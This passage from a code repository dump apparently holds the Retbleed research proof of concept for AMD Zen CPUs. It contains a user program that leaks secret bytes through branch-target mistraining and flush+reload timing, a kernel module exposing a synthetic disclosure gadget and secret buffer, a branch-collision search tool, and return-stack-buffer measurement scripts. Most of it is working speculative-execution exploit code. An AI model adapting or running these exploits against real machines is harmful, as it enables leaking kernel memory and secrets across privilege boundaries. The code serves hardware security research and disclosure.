| // printf("phys %p\n", (void*)pa_with_flags); 53 | return pa_with_flags<<12 | (va & 0xfff); 54 | } 55 | 56 | // flip to 1 when we SHOULD segfault and not crash the program 57 | static int should_segfault = 0; 58 | 59 | static sigjmp_buf env; 60 | static void handle_segv(int sig, siginfo_t *si, void *unused) 61 | { 62 | if (should_segfault) { 63 | siglongjmp(env, 12); 64 | return; 65 | }; 66 | 67 | fprintf(stderr, "Not handling SIGSEGV\n"); 68 | exit(sig); 69 | } 70 | 71 | 72 | static u8 secret_bytes[0x1000]; 73 | static u8 expected_secret_bytes[0x1000]; 74 | 75 | int main(int argc, char *argv[]) 76 | { 77 | srand(getpid()); 78 | 79 | struct mem_info rb; 80 | struct synth_gadget_desc sgd; 81 | rb.va = RB_PTR; 82 | 83 | struct sigaction sa; 84 | sa.sa_flags = SA_SIGINFO; 85 | sigemptyset(&sa.sa_mask); 86 | sa.sa_sigaction = &handle_segv; 87 | sigaction (SIGSEGV, &sa, NULL); 88 | 89 | #define MAX(a,b) ((a) > (b)) ? a : b 90 | #define RB_SZ MAX(RB_SLOTS<= 1) { 179 | break; 180 | } 181 | } 182 | if (j < RB_SLOTS) { 183 | secret_bytes[i] = j; 184 | /* printf("%c [%02x] (%lu) %d\n", j, j, results[j], 0); */ 185 | } else if (i ==0) { 186 | printf("nope\n"); 187 | } 188 | } 189 | double t = (get_ms() - t0)/1000.0; 190 | ioctl(fd_retbleed_poc, REQ_SECRET, expected_secret_bytes); 191 | int errors = 0; 192 | for (int i = 0; i < NBYTES; ++i) { 193 | if (expected_secret_bytes[i] != secret_bytes[i]) { 194 | errors++; 195 | } 196 | } 197 | 198 | printf( 199 | "%d/%d accuracy=%0.4f speed=%0.2f B/s\n", NBYTES-errors, NBYTES, (NBYTES-errors)/(1.0*NBYTES), NBYTES/t); 200 | return 0; 201 | } 202 | -------------------------------------------------------------------------------- /retbleed_zen/pocs/kmod_retbleed_poc/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CC=gcc 3 | mod-name := retbleed_poc 4 | obj-m += $(mod-name).o 5 | ccflags-y := \ 6 | -O1 \ 7 | -DDEBUG \ 8 | -std=gnu99 \ 9 | -Werror \ 10 | $(CCFLAGS) 11 | PWD=$(shell pwd) 12 | 13 | all: 14 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 15 | 16 | clean: 17 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 18 | 19 | .PHONY: 20 | install: all 21 | sudo insmod $(mod-name).ko 22 | 23 | .PHONY: 24 | remove: 25 | sudo rmmod $(mod-name).ko 26 | -------------------------------------------------------------------------------- /retbleed_zen/pocs/kmod_retbleed_poc/retbleed_poc.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include "linux/sysctl.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include /* virt_to_phys */ 11 | #include 12 | #include /* copy_from_user, copy_to_user */ 13 | #include "./retbleed_poc_ioctl.h" 14 | 15 | 16 | __attribute__((aligned(0x100))) 17 | static unsigned char random_bytes[0x1000]; 18 | 19 | static struct proc_dir_entry *procfs_file; 20 | 21 | /** 22 | * The most trivial kind of disclosure gadget. loads secret, shifts it, and uses 23 | * it as index in reload buffer. 24 | * 25 | * Note: This function is *never* architecturally executed. Only speculatively. 26 | */ 27 | void disclosure_gadget(u64 secret, u8 *reload_buffer); 28 | asm( 29 | ".align 0x800\n\t" 30 | "disclosure_gadget:\n\t" 31 | "mov (%rdi), %rdi\n\t" 32 | "and $0xff, %rdi\n\t" 33 | "shl $12, %rdi\n\t" 34 | "movq $2, (%rdi, %rsi)\n\t" 35 | "lfence\n\t"); 36 | 37 | 38 | static struct synth_gadget_desc desc = {}; 39 | 40 | void speculation_primitive_ret(void); 41 | void speculation_primitive(unsigned long secret, unsigned long addr); 42 | asm( 43 | ".align 0x800\n\t" 44 | "speculation_primitive: \n\t" 45 | "clflush (%rsp)\n\t" 46 | "speculation_primitive_ret: ret\n\t" 47 | ); 48 | 49 | static long handle_ioctl(struct file *filp, unsigned int request, unsigned long argp) { 50 | struct payload p; 51 | if (request == REQ_GADGET) { 52 | asm volatile("lfence"); 53 | if (copy_to_user((void *)argp, &desc, sizeof(struct synth_gadget_desc)) != 0) { 54 | return -EFAULT; 55 | } 56 | } 57 | if (request == REQ_SPECULATE) { 58 | asm volatile("lfence"); 59 | if (copy_from_user(&p, (void *)argp, sizeof(struct payload)) != 0) { 60 | return -EFAULT; 61 | } 62 | speculation_primitive(p.secret, p.reload_buffer); 63 | } 64 | 65 | if (request == REQ_SECRET) { 66 | asm volatile("lfence"); 67 | if (copy_to_user((void *)argp, random_bytes, sizeof(random_bytes)) != 0) { 68 | return -EFAULT; 69 | } 70 | } 71 | return 0; 72 | } 73 | 74 | 75 | static struct proc_ops pops = { 76 | .proc_ioctl = handle_ioctl, 77 | .proc_open = nonseekable_open, 78 | .proc_lseek = no_llseek, 79 | }; 80 | 81 | static void mod_spectre_exit(void) { 82 | proc_remove(procfs_file); 83 | } 84 | 85 | static int mod_spectre_init(void) { 86 | desc.physmap_base = page_offset_base; 87 | desc.kbr_dst = ((u64)&disclosure_gadget); 88 | // last target before the ret. 89 | desc.last_tgt = (u64)&speculation_primitive; 90 | desc.kbr_src = (u64)&speculation_primitive_ret; 91 | 92 | prandom_bytes(random_bytes, 0x1000); 93 | 94 | // The first byte is hardcoded. This allows us to infer the BTB collision 95 | // patterns from which we create the indexing functions. 96 | random_bytes[0] = 6; 97 | 98 | // want to leak from here... 99 | desc.secret = (long)random_bytes; 100 | pr_info("physmap_base %lx\n", page_offset_base); 101 | pr_info("kbr_src %lx\n", desc.kbr_src); 102 | pr_info("kbr_dst %lx\n", desc.kbr_dst); 103 | pr_info("secret %lx\n", desc.secret); 104 | pr_info("secret[0] %x\n", *(u8 *)desc.secret); 105 | 106 | procfs_file = proc_create(PROC_RETBLEED_POC, 0, NULL, &pops); 107 | return 0; 108 | } 109 | 110 | module_init(mod_spectre_init); 111 | module_exit(mod_spectre_exit); 112 | 113 | MODULE_LICENSE("GPL"); 114 | -------------------------------------------------------------------------------- /retbleed_zen/pocs/kmod_retbleed_poc/retbleed_poc_ioctl.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #define PROC_RETBLEED_POC "retbleed_poc" 3 | 4 | #define REQ_GADGET 222 5 | #define REQ_SPECULATE 111 6 | #define REQ_SECRET 333 7 | 8 | struct synth_gadget_desc { 9 | unsigned long physmap_base; 10 | unsigned long kbr_dst; 11 | unsigned long kbr_src; 12 | unsigned long last_tgt; 13 | unsigned long secret; 14 | }; 15 | 16 | struct payload { 17 | unsigned long reload_buffer; 18 | unsigned long secret; 19 | }; 20 | -------------------------------------------------------------------------------- /retbleed_zen/pocs/ret_bti.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include "common.h" 3 | #include 4 | #include 5 | #include 6 | 7 | // how many rounds to try mispredict? Many rounds often breaks things. Probably 8 | // there's some usefulness bits that downvotes a bad prediction. 9 | #define ROUNDS 10 10 | 11 | // RB, reload buffer 12 | #define RB_PTR 0x13370000 13 | #define RB_STRIDE_BITS 12 14 | #define RB_SLOTS 0x10 15 | 16 | // this is the slot of the reload buffer we will light up when we have 17 | // misprediction. 18 | #define SECRET 9 19 | 20 | // try all user-space patterns 21 | #define MAX_BIT 47 22 | 23 | // use some random branches leading up to the mispredicting branch. Seems to be 24 | // very effective but not required. For Zen3 this is required, IIRC. 25 | /* #define USE_RANDOM */ 26 | 27 | // How many branches to execute before training / mispredicting? More seems to 28 | // help but again, not required. 29 | #define RET_PATH_LENGTH 33 30 | 31 | // When training 32 | #define TRAIN_PATH 0x2000000000UL 33 | 34 | // This is where we will place the branch that we will use for training. When 35 | // mispredicting, the BPU uses the branch resolution feedback from this branch. 36 | #define BR_SRC1 0x41bababababfUL 37 | 38 | // flip at most this many bits in the victim src address. 39 | #define MAX_MUTATIONS 3 40 | 41 | // skip flipping bits in the lower part of training src, we can often assume that 42 | // they have to match with the lower bits 43 | #define SKIP_LOWER_BITS 0 44 | 45 | __attribute__((aligned(4096))) static u64 results[RB_SLOTS] = {0}; 46 | 47 | // discloure gadget. leak content or "rdi", which is number 0 -- RB_SLOTS 48 | void train_dst(); 49 | asm( 50 | ".align 0x2000\n\t" 51 | "train_dst:\n\t" 52 | "shl $" xstr(RB_STRIDE_BITS) ", %rdi\n\t" 53 | "mov "xstr(RB_PTR) "(%rdi), %rax\n\t" 54 | "lfence\n\t" // stop here when speculating ;) 55 | "jmp flush\n\t" 56 | ); 57 | 58 | // spec_dst is the real path. we want to land at train_dst instead of here to 59 | // have a successful misprediction. 60 | void spec_dst(); 61 | asm( 62 | "spec_dst:\n\t" 63 | "lfence\n\t" // stop here when speculating ;) 64 | "jmp reload\n\t" 65 | ); 66 | 67 | /** 68 | * calling this "template" because it is never executed. We are copying the 69 | * instructions to BR_SRC1. 70 | */ 71 | void br_src_training_tmpl(); 72 | void br_src_training_tmpl_end(); 73 | asm( 74 | ".align 0x80000\n\t" 75 | "br_src_training_tmpl:\n\t" 76 | NOPS_str(0x20) 77 | "jmp *%r8\n\t" // 78 | "br_src_training_tmpl_end:\n\t" 79 | ); 80 | 81 | /** 82 | * calling this "template" because it is never executed. We are copying the 83 | * instructions to different locations with intention of causing a collision 84 | * with BR_SRC1. 85 | */ 86 | #define USE_RET 87 | void br_src_mispredict_tmpl(); 88 | void br_src_mispredict_tmpl_end(); 89 | asm( 90 | ".align 0x80000\n\t" 91 | "br_src_mispredict_tmpl:\n\t" 92 | NOPS_str(0x20) 93 | #ifdef USE_RET 94 | "push %r8\n\t" 95 | "ret\n\t" 96 | #else 97 | NOPS_str(1) 98 | "jmp *%r8\n\t" 99 | #endif 100 | "br_src_mispredict_tmpl_end:\n\t" 101 | ); 102 | 103 | int main(int argc, char *argv[]) 104 | { 105 | int br_src_training_sz = br_src_training_tmpl_end-br_src_training_tmpl; 106 | int br_src_mispredict_sz = br_src_mispredict_tmpl_end-br_src_mispredict_tmpl; 107 | // reload buffer. We will check for cache hits in rb[SECRET< 1) { 225 | char binstr[64+1] = {0}; //0,1 or null 226 | mem2bin(binstr, (unsigned char*)&ptrn_shl, 48); 227 | printf("[+] %s; c=%02d; 0x%012lx; 0x%012lx; %0.2f", binstr, 228 | i, (u64)(BR_SRC1 + br_src_training_sz-1), 229 | (u64)(br_src_mispredict+br_src_mispredict_sz-1), 230 | results[i]/(ROUNDS+.0)); 231 | printf("\n"); 232 | } 233 | } 234 | memset(results, 0, RB_SLOTS*sizeof(results[0])); 235 | munmap((void*)(br_src_mispredict&~0xfffUL), br_src_mispredict_map_sz); 236 | } 237 | } 238 | return 0; 239 | } 240 | -------------------------------------------------------------------------------- /rsb_depth_check/.gitignore: -------------------------------------------------------------------------------- 1 | output 2 | -------------------------------------------------------------------------------- /rsb_depth_check/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CC := clang 3 | OBJS := pmu.o 4 | CFLAGS += -O0 5 | 6 | ret_chain: ret_chain.c ${OBJS} 7 | $(CC) ${CFLAGS} -o $@ $< ${OBJS} 8 | 9 | all: ret_chain 10 | 11 | .PHONY: 12 | clean: 13 | rm -f ret_chain ${OBJS} 14 | -------------------------------------------------------------------------------- /rsb_depth_check/README.md: -------------------------------------------------------------------------------- 1 | # rsb_depth_check 2 | 3 | It builds for intel by default. Go into ./ret_chain.c and comment out 4 | `#define INTEL` to make it for AMD. 5 | 6 | Use `./run_test.sh ` to run the test. Then use `python3 plot.py 7 | /ret.txt /jmp.txt` to plot. 8 | 9 | -------------------------------------------------------------------------------- /rsb_depth_check/plot.py: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | import matplotlib 3 | import matplotlib.pyplot as plt 4 | import matplotlib.ticker as ticker 5 | 6 | import sys 7 | if len(sys.argv) < 3: 8 | print(f"useage: {sys.argv[0]} ") 9 | exit(1) 10 | file_ret = sys.argv[1] 11 | file_jmp = sys.argv[2] 12 | 13 | # matplotlib.rcParams['font.family'] = 'serif' 14 | # sb.set() 15 | fig, ax = plt.subplots() 16 | fig.set_figwidth(5) 17 | fig.set_figheight(1.75) 18 | 19 | with open(file_ret) as f: 20 | with open(file_jmp) as f2: 21 | lines_ret = f.readlines()[1:] 22 | lines_jmp = f2.readlines()[1:] 23 | nx = min(len(lines_ret), len(lines_jmp)) 24 | 25 | xs = [] 26 | ys = [] 27 | for i in range(nx): 28 | x = i 29 | y = lines_ret[i] 30 | #[x, y] = [int(n) for n in lines_ret[i].split(";")] 31 | xs.append(x) 32 | ys.append(y) 33 | ax.plot(xs, ys, label="return") 34 | ax.set_xlim(left=0, right=35) 35 | 36 | xs = [] 37 | ys = [] 38 | for i in range(nx): 39 | #[x, y] = [int(n) for n in lines_jmp[i].split(";")] 40 | x = i 41 | y = lines_jmp[i] 42 | xs.append(x) 43 | ys.append(y) 44 | ax.plot(xs, ys, label="indirect branch") 45 | ax.set_xlim(left=0, right=35) 46 | ax.grid() 47 | ax.axvline(x=16, color='0.3', linestyle='--', label="Intel RSB capacity"); 48 | ax.legend() 49 | xlabel =ax.set_xlabel('# branches') 50 | ylabel = ax.set_ylabel("mispredictions") 51 | 52 | ax.xaxis.set_major_locator(ticker.MultipleLocator(4)) 53 | ax.yaxis.set_major_locator(ticker.MultipleLocator(14)) 54 | fig.tight_layout() 55 | fig.savefig("ret-btb-miss.pdf") 56 | 57 | -------------------------------------------------------------------------------- /rsb_depth_check/pmu.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include "pmu.h" 3 | 4 | inline int perf_event_open(struct perf_event_attr *attr, 5 | pid_t pid, int cpu, int group_fd, 6 | unsigned long flags) { 7 | return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags); 8 | } 9 | 10 | __attribute__((always_inline)) 11 | inline int pmu_init (struct pmu_desc *ctx) { 12 | struct perf_event_attr pe; 13 | memset(&pe, 0, sizeof(pe)); 14 | struct pmu_conf *pmu_confs = ctx->pmu_confs; 15 | for (int i = 0; i < ctx->nconfs; ++i) { 16 | pe.config = pmu_confs[i].event; 17 | #ifndef PERF_ATTR_SIZE_VER6 18 | #define PERF_ATTR_SIZE_VER6 120 19 | #endif 20 | 21 | pe.size = PERF_ATTR_SIZE_VER5; 22 | pe.type = PERF_TYPE_RAW; 23 | pe.sample_type = PERF_SAMPLE_CPU | PERF_SAMPLE_RAW; 24 | pe.exclude_kernel = 1; 25 | pe.exclude_hv = 1; 26 | pe.exclude_guest = 1; 27 | pe.exclude_idle = 1; 28 | pe.exclude_callchain_kernel = 1; 29 | /* pe.sample_freq = 0xffffffffffffffff; */ 30 | /* pe.freq = 0; */ 31 | /* pe.sample_period=10000000; */ 32 | /* pe.disabled = 1; enable later with via ioctl syscall */ 33 | /* pe.sample_type = PERF_FORMAT_TOTAL_TIME_ENABLED|PERF_FORMAT_TOTAL_TIME_RUNNING; */ 34 | pmu_confs[i].fd = perf_event_open(&pe, 0, -1, -1, PERF_FLAG_FD_NO_GROUP); 35 | if (pmu_confs[i].fd == -1) { 36 | return -1; 37 | } 38 | pmu_confs[i].min = -1UL; 39 | } 40 | return 0; 41 | } 42 | 43 | __attribute__((always_inline)) 44 | inline void pmu_sample (struct pmu_desc *ctx, int end) { 45 | long newcount; 46 | struct pmu_conf *pmu_confs = ctx->pmu_confs; 47 | for (int i = 0; i < ctx->nconfs; ++i) { 48 | read(pmu_confs[i].fd, &newcount, 8); 49 | if (end) { 50 | pmu_confs[i].diff = newcount - pmu_confs[i].count; 51 | pmu_confs[i].diff_sum += pmu_confs[i].diff; 52 | if (pmu_confs[i].diff < pmu_confs[i].min) { 53 | pmu_confs[i].min = pmu_confs[i].diff; 54 | } 55 | } else { 56 | pmu_confs[i].count = newcount; 57 | } 58 | } 59 | } 60 | 61 | __attribute__((always_inline)) 62 | inline void pmu_print (struct pmu_desc *ctx) { 63 | struct pmu_conf *pmu_confs = ctx->pmu_confs; 64 | for (int i = 0; i < ctx->nconfs; ++i) { 65 | printf("%40s: tot=%8ld\n", 66 | pmu_confs[i].name, 67 | /* pmu_confs[i].min, */ 68 | /* pmu_confs[i].diff, */ 69 | pmu_confs[i].diff_sum); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /rsb_depth_check/pmu.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define ARR_SZ(a) (sizeof(a)/sizeof(a[0])) 11 | 12 | // umask<<8 | event 13 | #ifdef INTEL 14 | #define PE_BA_CLEARS__ANY 0x1e6 15 | #define PE_BR_MISP_RETIRED__ALL_BRANCHES 0xc5 16 | #define PE_BR_MISP_RETIRED__ALL_BRANCHES_PEBS 0x4c5 17 | #define PE_BR_MISP_RETIRED__CONDITIONAL 0x1c5 18 | #define PE_BR_MISP_RETIRED__NEAR_CALL 0x2c5 19 | #define PE_BR_MISP_RETIRED__NEAR_TAKEN 0x20c5 20 | #define PE_INT_MISC__CLEAR_RESTEER_CYCLES 0x80d 21 | #endif 22 | 23 | struct pmu_desc { 24 | int nconfs; 25 | struct pmu_conf *pmu_confs; 26 | }; 27 | 28 | struct pmu_conf { 29 | long event; 30 | char name[0x40]; 31 | int fd; 32 | long count; 33 | long diff; 34 | // save total of everything 35 | long diff_sum; 36 | unsigned long min; 37 | }; 38 | 39 | int perf_event_open(struct perf_event_attr *attr, 40 | pid_t pid, int cpu, int group_fd, 41 | unsigned long flags) ; 42 | int pmu_init(struct pmu_desc *ctx); 43 | void pmu_sample(struct pmu_desc *ctx, int end); 44 | void pmu_print(struct pmu_desc *ctx); 45 | -------------------------------------------------------------------------------- /rsb_depth_check/ret_chain.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | /** 8 | * Pseudocode 9 | * 10 | */ 11 | 12 | #define INTEL 13 | #include "pmu.h" 14 | 15 | #include "sys/mman.h" 16 | #define MMAP_FLAGS (MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_FIXED_NOREPLACE) 17 | #define ARR_SZ(a) (sizeof(a)/sizeof(a[0])) 18 | #define PROT_RW (PROT_READ | PROT_WRITE) 19 | #define PROT_RWX (PROT_RW | PROT_EXEC) 20 | 21 | #define PG_ROUND(n) (((((n)-1UL)>>12)+1)<<12) 22 | 23 | #define str(s) #s 24 | #define xstr(s) str(s) 25 | 26 | #define X_MAX 128 27 | void* ret_path[X_MAX+1] = {}; 28 | 29 | void ret_place(); 30 | asm("ret_place: ret"); 31 | 32 | // we copy this to all random locations. 33 | typedef void (*path_step_fn)(int d, void *path); 34 | void path_step(int d, void *path); 35 | void path_step__end(); 36 | asm("path_step:\n\t" 37 | "test %rdi, %rdi\n\t" 38 | "jz .END\n\t" 39 | "dec %rdi\n\t" 40 | "add $8, %rsi\n\t" 41 | "call *(%rsi)\n\t" 42 | ".END:\n\t" 43 | "lfence\n\t" 44 | 45 | #ifdef USE_JMP 46 | "pop %rax\n\t" 47 | "jmp *%rax\n\t" 48 | #else 49 | "ret\n\t" 50 | #endif 51 | "path_step__end: "); 52 | 53 | void recurse(int d); 54 | asm("recurse:\n\t" 55 | "test %rdi, %rdi\n\t" 56 | "jz end\n\t" 57 | "dec %rdi\n\t" 58 | "call recurse\n\t" 59 | "end: ret"); 60 | 61 | int main(int argc, char *argv[]) 62 | { 63 | struct pmu_conf pmu_confs[] = { 64 | #ifdef INTEL 65 | // INTEL 66 | { PE_BR_MISP_RETIRED__CONDITIONAL, "br_misp_retired.conditional" }, 67 | { PE_BR_MISP_RETIRED__NEAR_CALL, "br_misp_retired.near_call" }, 68 | { PE_BR_MISP_RETIRED__NEAR_TAKEN, "br_misp_retired.near_taken" }, 69 | #else 70 | // AMD 71 | { 0xc9, "ex_ret_near_ret_mispred"}, 72 | #endif 73 | }; 74 | 75 | struct pmu_desc pmu_ctx = { 76 | .nconfs = sizeof(pmu_confs) / sizeof(pmu_confs[0]), 77 | .pmu_confs = pmu_confs 78 | }; 79 | 80 | if (pmu_init(&pmu_ctx) != 0) { 81 | err(1, "pmu"); 82 | } 83 | if (argc != 2) { 84 | fprintf(stderr, "usage: %s \n", argv[0]); 85 | exit(1); 86 | } 87 | int x = atoi(argv[1]); 88 | if (x > X_MAX || x < 0) { 89 | fprintf(stderr, "x: must be an integer, 0-%d, here: %d\n", X_MAX, x); 90 | exit(1); 91 | } 92 | memset(ret_path, 0, sizeof(ret_path)); 93 | 94 | for (int i = 0; i < x; ++i) { 95 | ret_path[i] = ret_place; 96 | } 97 | srand(getpid()); 98 | #define ROUNDS 4000 99 | for(int i = 0; i < ROUNDS; ++i) { 100 | for (int ii = 0 ; ii < x; ++ii) { 101 | ret_path[ii] = (void *)((((unsigned long)rand())<<16) ^ rand()); 102 | // mind the page boundary. 103 | if (mmap((void*)((long)ret_path[ii] & ~0xfff), 0x2000, PROT_RWX, MMAP_FLAGS, -1, 0) == MAP_FAILED) { 104 | ret_path[ii] = (void *)((((unsigned long)rand())<<16) ^ rand()); 105 | if (mmap((void*)((long)ret_path[ii] & ~0xfff), 0x2000, PROT_RWX, MMAP_FLAGS, -1, 0) == MAP_FAILED) { 106 | err(2, "mmap"); 107 | } 108 | } 109 | //printf("ret_path[%d] = %lx\n", ii, ret_path[ii]); 110 | memcpy(ret_path[ii], path_step, path_step__end - path_step); 111 | } 112 | #define cpuid asm volatile("cpuid" ::: "eax", "ebx","ecx","edx") 113 | pmu_sample(&pmu_ctx, 0); 114 | cpuid; 115 | /* recurse(x); */ 116 | if (x>0) ((path_step_fn)ret_path[0])(x-1, ret_path); 117 | /* asm("ret"); */ 118 | /* printf("never here\n"); */ 119 | /* asm("finish:"); */ 120 | cpuid; 121 | pmu_sample(&pmu_ctx, 1); 122 | 123 | for (int ii = 0 ; ii < x; ++ii) { 124 | munmap((void *)((long)ret_path[ii] & ~0xfff), 0x2000); 125 | } 126 | } 127 | 128 | for (int i = 0; i < pmu_ctx.nconfs; ++i) { 129 | fprintf(stderr, "%s;%lu\n", pmu_ctx.pmu_confs[i].name, pmu_ctx.pmu_confs[i].min); 130 | } 131 | 132 | 133 | // INTEL 134 | #ifdef INTEL 135 | // sampling many perf counters is inaccurate. Sometimes there are more misp. 136 | // calls and conditionals than there are misp taken branches. Could also be 137 | // that a mispredicted non-taken conditional will count as a misp.cond but 138 | // not as a misp taken branch. 139 | #define MAX(a,b) ((a) > (b) ? a : b) 140 | printf("%d\n", MAX(0, (int)pmu_ctx.pmu_confs[2].min - (int)pmu_ctx.pmu_confs[0].min - (int)pmu_ctx.pmu_confs[1].min)); 141 | #else 142 | // AMD 143 | printf("%lu\n", pmu_ctx.pmu_confs[0].min); 144 | #endif 145 | return 0; 146 | } 147 | -------------------------------------------------------------------------------- /rsb_depth_check/run_test.sh: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | #!/bin/bash 3 | make clean 4 | make 5 | 6 | EXP=$1 7 | if [ -z "$EXP" ]; then 8 | echo Pass EXP 9 | exit 1 10 | elif [ -f "./$EXP" ]; then 11 | echo $EXP exists. 12 | exit 1 13 | fi 14 | 15 | mkdir "./$EXP" 16 | for x in {0..34}; do 17 | sudo ./ret_chain $x >> "./$EXP/ret.txt" 18 | done 19 | 20 | make clean 21 | CFLAGS=-DUSE_JMP make 22 | for x in {0..34}; do 23 | sudo ./ret_chain $x >> "./$EXP/jmp.txt" 24 | done 25 | -------------------------------------------------------------------------------- /zen_ras_vs_btb/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CC = clang 3 | CFLAGS = -O3 4 | TARGET = main 5 | 6 | 7 | main: main.c common.h 8 | $(CC) $(CFLAGS) -o $@ $< 9 | 10 | .PHONY: clean 11 | clean: 12 | -rm main 13 | -------------------------------------------------------------------------------- /zen_ras_vs_btb/common.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define MMAP_FLAGS (MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_FIXED_NOREPLACE) 10 | #define PROT_RW (PROT_READ | PROT_WRITE) 11 | #define PROT_RWX (PROT_RW | PROT_EXEC) 12 | 13 | #define PG_ROUND(n) (((((n)-1UL)>>12)+1)<<12) 14 | 15 | #define str(s) #s 16 | #define xstr(s) str(s) 17 | 18 | #define NOP asm volatile("nop") 19 | #define NOPS_str(n) ".rept " xstr(n) "\n\t"\ 20 | "nop\n\t"\ 21 | ".endr\n\t" 22 | 23 | /* 6690 NOP2_OVERRIDE_NOP */ 24 | /* 0f1f00 NOP3_OVERRIDE_NOP */ 25 | /* 0f1f4000 NOP4_OVERRIDE_NOP */ 26 | /* 0f1f440000 NOP5_OVERRIDE_NOP */ 27 | /* 660f1f440000 NOP6_OVERRIDE_NOP */ 28 | /* 0f1f8000000000 NOP7_OVERRIDE_NOP */ 29 | /* 0f1f840000000000 NOP8_OVERRIDE_NOP */ 30 | /* 660f1f840000000000 NOP9_OVERRIDE_NOP */ 31 | /* 66660f1f840000000000 NOP10_OVERRIDE_NOP */ 32 | /* 6666660f1f840000000000 NOP11_OVERRIDE_NOP */ 33 | /* 666666660f1f840000000000 NOP12_OVERRIDE_NOP */ 34 | /* 66666666660f1f840000000000 NOP13_OVERRIDE_NOP */ 35 | /* 6666666666660f1f840000000000 NOP14_OVERRIDE_NOP */ 36 | /* 666666666666660f1f840000000000 */ 37 | 38 | //https://developer.amd.com/wordpress/media/2013/12/55723_SOG_Fam_17h_Processors_3.00.pdf 39 | //p. 26 40 | #define NOP2 ".byte 0x66,0x90\n\t" 41 | #define NOP3 ".byte 0x0f,0x1f,0x00\n\t" 42 | #define NOP4 ".byte 0x0f,0x1f,0x40,0x00\n\t" 43 | #define NOP5 ".byte 0x0f,0x1f,0x44,0x00,0x00\n\t" 44 | #define NOP6 ".byte 0x66,0x0f,0x1f,0x44,0x00,0x00\n\t" 45 | #define NOP13 ".byte 0x66,0x66,0x66,0x66,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00\n\t" 46 | #define NOP14 ".byte 0x66,0x66,0x66,0x66,0x66,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00\n\t" 47 | #define NOP15 ".byte 0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00\n\t" 48 | 49 | #define NOPS(n) asm volatile(NOPS_str(n)) 50 | 51 | #define ARR_SZ(a) (sizeof(a)/sizeof(a[0])) 52 | 53 | // thanks, Jann Horn. 54 | #define CRAPPY_BHB_RANDOMIZE \ 55 | asm volatile( \ 56 | "test $0x1, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 57 | "test $0x2, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 58 | "test $0x4, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 59 | "test $0x8, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 60 | "test $0x10, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 61 | "test $0x20, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 62 | "test $0x40, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 63 | "test $0x80, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 64 | "test $0x100, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 65 | "test $0x200, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 66 | "test $0x400, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 67 | "test $0x800, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 68 | "test $0x1000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 69 | "test $0x2000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 70 | "test $0x4000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 71 | "test $0x8000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 72 | "test $0x10000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 73 | "test $0x20000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 74 | "test $0x40000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 75 | "test $0x80000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 76 | "test $0x100000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 77 | "test $0x200000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 78 | "test $0x400000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 79 | "test $0x800000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 80 | "test $0x1000000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 81 | "test $0x2000000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 82 | "test $0x4000000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 83 | "test $0x8000000, %[foo]\n\tjz 1f\n\tnop\n\t1:\n\t" \ 84 | :/*out*/ \ 85 | :/*in*/ \ 86 | [foo] "r"((unsigned int)random()) \ 87 | :/*clobber*/ \ 88 | 